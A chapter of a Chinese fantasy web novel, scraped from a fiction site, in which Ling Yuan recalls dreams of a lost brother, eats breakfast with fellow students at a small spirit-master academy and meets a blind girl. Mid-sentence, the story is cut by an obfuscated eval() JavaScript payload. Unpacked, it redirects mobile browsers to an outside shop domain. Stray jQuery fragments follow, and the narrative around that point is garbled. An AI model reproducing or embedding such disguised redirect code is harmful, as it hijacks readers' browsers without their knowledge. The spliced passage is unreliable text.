文趣网 > 其他小说 > 老弱病残灵师学院 > 4. 学长说要给我买糖
    凌沅经常会梦到一个人,一个和她一模一样的梦中人。

    最开始的时候,梦里只有一片漆黑,她在黑暗中一直走,似乎要走到天荒地老。

    再长大一点,她会碰到一面镜子,里面什么都映不出来。

    直到她八岁的某个夜晚,火焰在梦中席卷她的身体,给她带来极大的疼痛,却根本留不下任何伤痕,梦中人突然从镜子里出现了,和她一样被大火燃烧,却比她更加痛苦。

    他总是在对着她大声呼喊什么,可她总是听不清楚。

    她对父母说了这件事,父母满脸复杂地抱着她,安慰她,告诉她那只是个梦,她也就渐渐习惯了。

    然而在两个月前的一天,她终于听清楚了对方喊的什么。

    “我在......我在灵师塔,你一定要找到我!”

    “一定要!”

    “我是你的哥哥!你的哥哥呀!”

    梦中人的声音极其凄厉而悲惨,让她心神难安。

    哥哥?她的哥哥?

    从凌沅有记忆起,父母一直只有她一个女儿,灵凰宗也没有人提起过她还有个哥哥,那日过后,她试探性地向母亲提问自己是否还有别的兄弟姐妹,母亲斩钉截铁地说没有。

    后来她又多次梦到他,每梦到一次,内心都迸发出一股想要强烈找到他的冲动。

    于是在一个月前,她留下一封书信,偷偷溜出宗门。

    信中她只说自己是想要去母亲以前就读的学院求学,一年后就乖乖回去,绝不再出宗门。

    她一向乖巧听话,也自曝了去向,父母应该能安心不少。

    然而灵师塔并不是任何人都能随便进去的地方,除了每个灵师必须在十岁时去登记身份以外,没有正当理由是无法进入的。

    普通灵师想要与灵师塔接触,唯一的方法就是参加云晖大陆灵师学院大赛,那是由灵师塔主办的,每四年举行一届,整个云晖大陆的学院都会来参加,就连灵师塔也会派出一支队伍参赛。

    不知道那个说是她哥哥的人是不是真的,如果真实存在,也不知道会不会在灵师大赛上出现。

    多想无益,她已经冲动跑了出来,必须达到目的知道真相才能安心回家,不然她会一直惦记着这件事。

    想着想着,凌沅转过头,看见凤行翊熟睡的侧脸,他睡得很板正,被子也盖得很严实。

    感受到胸口有点沉重,她垂眸,发现自己身上也压着被子,昨晚她好像直接睡着了,没有盖吧。

    凌沅起身坐在床边,闻到草药的味道,低头看到床头柜靠近她的这一面上放着个白色瓷瓶,底下压着张字条,字迹隽秀:清凉膏,可治晒伤。

    落款写了个“凤”字。

    凌沅向熟睡的凤行翊投去感激的笑容,拿过药膏,她必须得去洗个澡了,身上难受得不行。

    与想象中不同,虽然外表看着简陋,不知春学院的每间屋子都收拾得很干净,洗浴室也同样,甚至还能闻到淡淡的香味。

    凌沅洗完澡,擦干头发后,将洗好的衣服晾在了宿舍后面,无春城白日气温高,估计下午就能晒干。

    她换了一身米色的长衣长裤,虽然闷了点,总好过把皮肤暴露在太阳底下,小腿上抹了凤行翊送的清凉膏,见效很快,刺痛感没有了,发红的皮肤也变回了原本的肤色。

    路过食堂大门,闻到一股食物的清香,她走进去看见了林曳生和凤行翊相对而坐的身影,两人吃得正香。

    还有一个不认识的男生坐在林曳生旁边,留着光头,但模样很清秀,眼睛有点内双,神色呆滞,只有鼻梁处的一颗小痣才让他的脸增添了点生动色彩。

    “唔......你来了,早上好!”林曳生刚把一口稀饭含进嘴里,就看见凌沅走了进来,连忙咽下对她打了声招呼。

    “早上好。”

    凌沅轻笑回应,走到凤行翊身旁坐下,也向他打了个招呼,顺便对他送药膏的事道了声谢。

    凤行翊没有说话,只对着她点了下头,就把注意力转到吃饭上去了。

    林曳生指指一旁的稀饭和馒头,示意她自己动手,又道:“你来得正好,我快无聊死了,这两个人一个本来就不怎么说话,一个讲究食不言寝不语的,胡老师早上也不在,都没人和我聊天。”

    凌沅替自己舀了一碗稀饭,桌上的大盆里放着玉米做的馒头,闻起来有一股甜香,她拿了一个咬了一口,谷物的味道蔓延在味蕾,口感松软,感叹院长的手艺还真不错。

    “等会吃完把碗筷放在桌上就行,院长会来收拾的,他最喜欢干家务,你把碗洗了他还会生气。”

    “好的。”

    凌沅忍俊不禁,这位院长倒是有点奇特。

    她的视线落在对面的男生脸上,他似乎根本没注意到对面坐了个人,只一味地吃着面前的早饭。

    “这位是?”

    凌沅问道。

    林曳生喝掉最后一口稀饭,放下碗,对凌沅介绍:“他叫钟复千,和我一个宿舍,反应稍微比常人慢一点,和他说话他是能听懂的,只是不爱搭理人,也不爱回应,不要见怪,习惯了就知道他在表达什么了。”

    “明白了。”

    凌沅一边吃,一边又问了一句:“学院的其他人呢?”

    林曳生耸耸肩,无奈道:“我和钟复千来的时候,院长带着昨天来的小学弟吃完刚好离开,新来的小学妹也只拿了个馒头就匆匆回屋,她刚走凤行翊就来了,打了个招呼就埋头吃饭,一语不发。”

    “至于胡老师,一大早就出门了,说是要去无春主城找个朋友,顺便下午去交你们昨天的报名表,把今年的学院经费领回来。”

    “哦,”凌沅思索了一下,继续问,“我们学院一共多少人呀?”

    一个院长,一个胡老师,算上自己在内她知道的只有六个学生。

    “现在的话,三个老师七个学生。”

    “秦老师和无忧这两天不在学校,明天你就能见到了。”

    “秦老师和无忧?”

    “是的,秦老师是我们学院唯一的女老师,可温柔了。”

    “至于无忧嘛……”提到这个名字,林曳生的眼神飘忽起来,“她是小学妹来之前我们学院唯一的女生,也是我们当中最早入学的,比我还大一岁,全名心无忧。”

    “她不仅长得漂亮,实力也很强,胡老师和她打起来都得费好大一阵力气呢。”

    凌沅一边听他介绍这位叫心无忧的学姐,一边把早饭吃得干干净净,她吃饭速度一向还算快,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17815501|211042||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    在她吃完的同时,一旁的凤行翊也刚好放下碗筷。

    “我吃饱了,你们慢用。”

    凤行翊朝他们淡淡丢下这句话,就站起来朝门口走去,也不知道他刚刚有没有在听两人的对话。

    见状,林曳生也止住话头,提议道:“我们也走吧,也差不多快到八点了。”

    “好。”

    一旁的钟复千比他俩要先吃完,早已独自在一旁发呆,林曳生拍了下他的肩膀,他便跟着他们起身走出食堂。

    三人一起走进教室,凌沅打量了一下,教室面积不大,内部陈设也很简单,前方正中间摆了张桌子当讲台,下方摆了两排双人木桌,每排两张,都配有椅子,一共八个学生席位。

    凤行翊比他们先到,正坐在后排里侧靠墙发呆,他前面坐着个年纪很小的男孩,穿着件有点宽松的灰旧衣服,正怯怯地看着他们,似乎是很胆小的样子。

    林曳生拉着钟复千坐在了后排外侧的桌子,向凌沅努努嘴示意她往前坐。

    于是凌沅对那男孩笑着点了个头,就坐到了林曳生座位前。

    她刚坐稳,林曳生就扯了扯她后背的衣服对她说道:“小沅学弟,可否叫我一声林学长听听。”

    凌沅向后转过头,对着他期待的眼神,沉默数秒,淡淡吐出几个字:“林学长。”

    “哎,这下舒服了。”

    林曳生对着她挑眉,笑得灿烂:“你是不知道我多么盼望有人能这么叫我。”

    “无忧比我大,连我名字都不叫,复千只会叫院长,根本不会叫别人,平日里除了老师我都找不到人说话,这样的生活我过了整整六年啊!你知道这六年里我有多寂寞么!”

    “好不容易今年来了新生,小学妹我又不太好意思逗她,新来的学弟里一个害羞一个沉默,就你有点意思,能跟我有话聊。”

    “小沅学弟,你能不能一直这样叫我,以后我多给你买糖吃。”

    凌沅向他投去一个同情的眼神,他确实有点可怜,不过她还是残忍拒绝了他:“我不要。”

    林曳生小声发出哀嚎,埋头假哭起来,凌沅笑着回过了身。

    这时,教室外传来一阵轻巧的脚步声,林曳生急忙收好了他的表演。

    凌沅和他一同向门口看去,一个很神秘的长发少女出现在两人视野中。

    那是个容貌绝美的少女,皮肤苍白得有些病态,穿着一件立领的白色长袖连衣裙,长及脚踝,腰间垂下几条镶着碎钻的细链,最下方的裙摆渐变成浅蓝,泛着珠光。

    一条同样浅蓝的两指宽布带遮住了她的眼睛,系在脑后,她竟然是个盲女。

    然而最为引人注目的还是她那冰蓝色的长发,这样的发色放在整个云晖大陆都是极其特殊的!

    云晖大陆的人多为黑发,少数人才会拥有别的发色,一般也都是红发、棕发或者金发,像她这样的冰蓝色,罕见至极。

    也不知道她是什么身份。

    盲眼少女站在门口,等待了几秒,似乎是在确认什么,才迈步走进了教室。

    她虽然眼盲,行动却极为利落,每一步都走得很稳健,直接走到了凌沅身边坐下。

    然而凌沅还来不及说什么,又有一个人走了进来,吸引了教室众人的目光。